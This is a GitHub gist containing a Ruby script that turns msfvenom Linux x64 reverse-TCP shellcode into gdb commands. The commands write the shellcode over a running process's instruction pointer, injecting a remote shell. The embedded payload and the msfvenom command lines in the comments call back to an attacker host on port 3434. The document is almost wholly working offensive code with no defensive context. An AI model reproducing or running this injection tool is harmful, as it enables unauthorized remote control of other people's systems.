Skip to content

Instantly share code, notes, and snippets.

@dualfade
Last active October 28, 2022 23:18
Show Gist options
  • Save dualfade/45c097acb96c0d5bbee31438d0010b07 to your computer and use it in GitHub Desktop.
Save dualfade/45c097acb96c0d5bbee31438d0010b07 to your computer and use it in GitHub Desktop.
#!/usr/bin/env ruby
# gdb_process_injection.rb
# dualfade --
# inspired by --
# https://bit.ly/3VSvWHX --
# testing --
# docker run -it --rm --cap-add CAP_SYS_PTRACE ubuntu bash
# imports --
require 'bundler/inline'
gemfile do
source 'https://rubygems.org'
gem 'slop', require: true
gem 'logger', require: true
end
# logging --
logger = Logger.new($stdout)
original_formatter = Logger::Formatter.new
logger.formatter = proc { |severity, datetime, progname, msg|
original_formatter.call(severity, datetime, progname, msg.dump)
}
# reverse hex endianness --
# https://www.rubydoc.info/stdlib/core/String:scan --
def flip_bytes(hex)
hex.scan(/../).reverse.join('')
end
# load file --
def format_msf_payload
# NOTE: ruby3.x does not like + as concatenation --
# NOTE: rubocop will spit out out warnings --
# ex: msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=3434 -f rb -o /tmp/payload.rb
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=3434 | ndisasm -u -
logger = Logger.new($stdout)
buf =
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97" \
"\x48\xb9\x02\x00\x0d\x6a\xc0\xa8\x01\x0f\x51\x48\x89\xe6" \
"\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce" \
"\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f" \
"\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48" \
"\x89\xe6\x0f\x05"
# find modulo; adjust payload size; + nops --
modulo = buf.length % 8
padding = 8 - (buf.length % 8)
payload = ("\x90" * padding) + buf
# format output --
logger.info(format('payload size => %s bytes', buf.bytesize))
logger.info(format('modulo => %s', modulo))
logger.info(format('nop padding => %s bytes', padding))
logger.info(format('new buf size => %s', payload.bytesize))
logger.info(format('generating gdb payload =>'))
# NOTE: unpack arr to str, scan; split array; set i inc --
# NOTE: nothing like learning a new language --
p = payload.unpack('H*').to_s
c = p.scan(/\w{16}/)
counter = 0
gdb_shell = []
loop do
# HACK: adjust rip offset --
i = -8
counter += p.length
c.each do |e|
i += 8
f = format('set {long}($rip+%d) = 0x%s', i, flip_bytes(e))
gdb_shell.push(f)
end
break if counter == p.length
end
# ret --
gdb_shell
end
# write --
def write_file(gdb_shell, outfile)
logger = Logger.new($stdout)
logger.info(format('writing array to file => %s', outfile))
gdb_shell.each do |line|
file_obj = File.new(outfile, 'a')
file_obj.syswrite("#{line}\n")
file_obj.close
end
end
# errs --
def error(message)
logger = Logger.new($stdout)
logger.info(format('%s', message))
end
# main ;slop opts --
if __FILE__ == $PROGRAM_NAME
logger.info('[+] gdb_process_injection --')
puts
begin
opts = Slop.parse do |o|
# get opts --
o.string('-o', '--output', 'write gdb payload to file')
o.on('-h', '--help', 'help: this menu') do
puts(o)
exit
end
end
# opts err check --
exit logger.error('exit => missing output') if opts[:output].nil?
# assign opts --
outfile = (opts[:output])
gdb_shell = format_msf_payload
write_file(gdb_shell, outfile)
puts("\n", gdb_shell)
# errs --
rescue Slop::Error => e
logger.error(e)
rescue StandardError => e
logger.error(e)
end
else
puts('[+] finished')
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment